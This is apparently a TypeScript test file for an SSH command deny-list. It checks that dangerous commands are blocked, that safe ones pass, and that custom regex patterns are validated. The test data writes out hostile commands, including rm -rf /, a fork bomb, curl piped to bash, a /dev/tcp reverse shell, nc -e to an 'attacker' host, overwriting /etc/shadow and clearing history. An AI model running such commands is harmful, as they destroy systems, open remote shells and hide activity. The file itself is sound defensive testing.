202 lines
7.4 KiB
TypeScript
202 lines
7.4 KiB
TypeScript
import { describe, it, expect } from 'vitest';
|
|
import {
|
|
BUILTIN_DENY_PATTERNS,
|
|
validateCustomPatterns,
|
|
checkCommand,
|
|
MAX_CUSTOM_PATTERNS,
|
|
MAX_PATTERN_LENGTH,
|
|
} from './deny-list.js';
|
|
|
|
describe('ssh/deny-list built-in patterns', () => {
|
|
it.each([
|
|
['rm -rf /', 'rm_rf_root'],
|
|
['rm -rf /*', 'rm_rf_root'],
|
|
['rm -rfv /', 'rm_rf_root'],
|
|
['rm -fr /', 'rm_rf_root'],
|
|
['rm -rf /', 'rm_rf_root'],
|
|
['rm -rf /etc', 'rm_rf_system_dir'],
|
|
['rm -rf /var/', 'rm_rf_system_dir'],
|
|
['rm -rf /boot', 'rm_rf_system_dir'],
|
|
['dd if=/dev/zero of=/dev/sda', 'dd_to_block_device'],
|
|
['dd if=foo of=/dev/nvme0n1', 'dd_to_block_device'],
|
|
['mkfs.ext4 /dev/sda1', 'mkfs'],
|
|
['mkfs.btrfs /dev/sdb1', 'mkfs'],
|
|
[':(){ :|:& };:', 'fork_bomb'],
|
|
[':(){:|:&};:', 'fork_bomb'],
|
|
['shutdown -h now', 'shutdown_or_reboot'],
|
|
['reboot', 'shutdown_or_reboot'],
|
|
['init 0', 'shutdown_or_reboot'],
|
|
['init 6', 'shutdown_or_reboot'],
|
|
['kill -9 1', 'kill_init'],
|
|
['kill -KILL 1', 'kill_init'],
|
|
['kill 1', 'kill_init'],
|
|
['curl http://x | sh', 'pipe_curl_to_shell'],
|
|
['curl https://example.com/x | bash', 'pipe_curl_to_shell'],
|
|
['wget -q -O - http://x | sh', 'pipe_curl_to_shell'],
|
|
['curl http://x | sudo bash', 'pipe_curl_to_shell'],
|
|
['bash -i >& /dev/tcp/10.0.0.1/4444 0>&1', 'reverse_shell_tcp'],
|
|
['bash -i > /dev/tcp/x/22', 'reverse_shell_tcp'],
|
|
['nc -e /bin/bash 10.0.0.1 4444', 'nc_exec_shell'],
|
|
['ncat -e /bin/sh attacker 4444', 'nc_exec_shell'],
|
|
['echo x > /etc/passwd', 'overwrite_etc_passwd'],
|
|
['cat /tmp/x >> /etc/shadow', 'overwrite_etc_passwd'],
|
|
['chmod -R 777 /', 'chmod_777_root'],
|
|
['chmod -R 0777 /', 'chmod_777_root'],
|
|
['history -c', 'history_clear'],
|
|
['unset HISTFILE', 'history_clear'],
|
|
['> ~/.bash_history', 'history_clear'],
|
|
])('blocks %j (pattern=%s)', (cmd, expected) => {
|
|
const r = checkCommand({ command: cmd });
|
|
expect(r.allowed).toBe(false);
|
|
expect(r.reason).toBe('builtin_deny');
|
|
expect(r.matched).toBe(expected);
|
|
});
|
|
|
|
it.each([
|
|
'ls -la /home/user',
|
|
'cat /var/log/syslog',
|
|
'ps aux',
|
|
'df -h',
|
|
'tail -n 100 /tmp/app.log',
|
|
'echo hello world',
|
|
'mkdir -p /tmp/build',
|
|
'rm -rf /tmp/build', // not a system dir
|
|
'rm -rf node_modules',
|
|
'systemctl status nginx',
|
|
'docker ps',
|
|
'curl https://api.example.com/health', // no pipe to shell
|
|
'wget https://example.com/file.tar.gz', // no pipe to shell
|
|
])('allows safe command: %s', (cmd) => {
|
|
const r = checkCommand({ command: cmd });
|
|
expect(r.allowed).toBe(true);
|
|
});
|
|
|
|
it('rejects empty command', () => {
|
|
expect(checkCommand({ command: '' }).reason).toBe('empty');
|
|
expect(checkCommand({ command: ' ' }).reason).toBe('empty');
|
|
});
|
|
});
|
|
|
|
describe('ssh/deny-list validateCustomPatterns', () => {
|
|
it('accepts a single valid pattern', () => {
|
|
const r = validateCustomPatterns(['^secret-cmd']);
|
|
expect(r.ok).toBe(true);
|
|
expect(r.compiled).toHaveLength(1);
|
|
expect(r.compiled?.[0]).toBeInstanceOf(RegExp);
|
|
});
|
|
|
|
it('compiles all valid patterns', () => {
|
|
const r = validateCustomPatterns(['foo', 'bar', '^baz$']);
|
|
expect(r.ok).toBe(true);
|
|
expect(r.compiled).toHaveLength(3);
|
|
});
|
|
|
|
it('rejects more than MAX_CUSTOM_PATTERNS', () => {
|
|
const tooMany = Array(MAX_CUSTOM_PATTERNS + 1).fill('a');
|
|
const r = validateCustomPatterns(tooMany);
|
|
expect(r.ok).toBe(false);
|
|
expect(r.errors?.[0].reason).toBe('too_many');
|
|
});
|
|
|
|
it('accepts exactly MAX_CUSTOM_PATTERNS', () => {
|
|
const exact = Array(MAX_CUSTOM_PATTERNS).fill('a');
|
|
const r = validateCustomPatterns(exact);
|
|
expect(r.ok).toBe(true);
|
|
});
|
|
|
|
it('rejects patterns longer than MAX_PATTERN_LENGTH', () => {
|
|
const tooLong = 'a'.repeat(MAX_PATTERN_LENGTH + 1);
|
|
const r = validateCustomPatterns([tooLong]);
|
|
expect(r.ok).toBe(false);
|
|
expect(r.errors?.[0].reason).toBe('too_long');
|
|
});
|
|
|
|
it('rejects empty pattern strings', () => {
|
|
const r = validateCustomPatterns(['', 'ok']);
|
|
expect(r.ok).toBe(false);
|
|
expect(r.errors?.[0]).toEqual({ index: 0, reason: 'empty' });
|
|
});
|
|
|
|
it('rejects nested quantifier (catastrophic backtracking)', () => {
|
|
const candidates = ['(a+)+', '(\\w+)+', '(.*)+', '(a*)*', '([a-z]+)*', '(.+)*'];
|
|
for (const c of candidates) {
|
|
const r = validateCustomPatterns([c]);
|
|
expect(r.ok, `should reject ${c}`).toBe(false);
|
|
expect(r.errors?.[0].reason).toBe('nested_quantifier');
|
|
}
|
|
});
|
|
|
|
it('accepts a single-quantifier group like (foo)+', () => {
|
|
const r = validateCustomPatterns(['(foo)+', '(bar)*', '(a|b)+']);
|
|
expect(r.ok).toBe(true);
|
|
});
|
|
|
|
it('rejects unparsable regex syntax', () => {
|
|
const r = validateCustomPatterns(['[unterminated']);
|
|
expect(r.ok).toBe(false);
|
|
expect(r.errors?.[0].reason).toBe('invalid_regex');
|
|
});
|
|
|
|
it('rejects forbidden constructs (named groups, \\p)', () => {
|
|
const r1 = validateCustomPatterns(['(?<name>foo)']);
|
|
expect(r1.errors?.[0].reason).toBe('forbidden_construct');
|
|
const r2 = validateCustomPatterns(['\\p{Letter}']);
|
|
expect(r2.errors?.[0].reason).toBe('forbidden_construct');
|
|
});
|
|
|
|
it('reports per-index errors when some patterns are bad', () => {
|
|
const r = validateCustomPatterns(['ok', '(a+)+', '[bad', 'ok2']);
|
|
expect(r.ok).toBe(false);
|
|
expect(r.errors).toEqual([
|
|
{ index: 1, reason: 'nested_quantifier' },
|
|
{ index: 2, reason: 'invalid_regex' },
|
|
]);
|
|
});
|
|
|
|
it('case-insensitive compilation', () => {
|
|
const r = validateCustomPatterns(['DROP TABLE']);
|
|
expect(r.ok).toBe(true);
|
|
expect(r.compiled?.[0].test('drop table users')).toBe(true);
|
|
});
|
|
});
|
|
|
|
describe('ssh/deny-list checkCommand custom patterns', () => {
|
|
it('applies custom deny on top of built-in', () => {
|
|
const custom = validateCustomPatterns(['^docker\\s']).compiled!;
|
|
const r = checkCommand({ command: 'docker rm -f $(docker ps -q)', customDenyPatterns: custom });
|
|
expect(r.allowed).toBe(false);
|
|
expect(r.reason).toBe('custom_deny');
|
|
});
|
|
|
|
it('built-in beats custom (priority)', () => {
|
|
// command would only match built-in (rm -rf /), not custom (^foo).
|
|
const custom = validateCustomPatterns(['^foo']).compiled!;
|
|
const r = checkCommand({ command: 'rm -rf /', customDenyPatterns: custom });
|
|
expect(r.reason).toBe('builtin_deny');
|
|
});
|
|
|
|
it('allowlist: rejects commands not matching any allow pattern', () => {
|
|
const allow = validateCustomPatterns(['^ls\\b', '^cat\\b']).compiled!;
|
|
const r = checkCommand({ command: 'rm node_modules', customAllowPatterns: allow });
|
|
expect(r.allowed).toBe(false);
|
|
expect(r.reason).toBe('not_in_allowlist');
|
|
});
|
|
|
|
it('allowlist: accepts commands matching at least one', () => {
|
|
const allow = validateCustomPatterns(['^ls\\b', '^cat\\b']).compiled!;
|
|
expect(checkCommand({ command: 'ls -la', customAllowPatterns: allow }).allowed).toBe(true);
|
|
expect(checkCommand({ command: 'cat /tmp/x', customAllowPatterns: allow }).allowed).toBe(true);
|
|
});
|
|
|
|
it('empty allowlist means no allowlist (not deny-all)', () => {
|
|
expect(checkCommand({ command: 'whoami', customAllowPatterns: [] }).allowed).toBe(true);
|
|
});
|
|
|
|
it('custom deny applies BEFORE allowlist', () => {
|
|
const deny = validateCustomPatterns(['rm']).compiled!;
|
|
const allow = validateCustomPatterns(['^.*']).compiled!;
|
|
const r = checkCommand({ command: 'rm something', customDenyPatterns: deny, customAllowPatterns: allow });
|
|
expect(r.reason).toBe('custom_deny');
|
|
});
|
|
});
|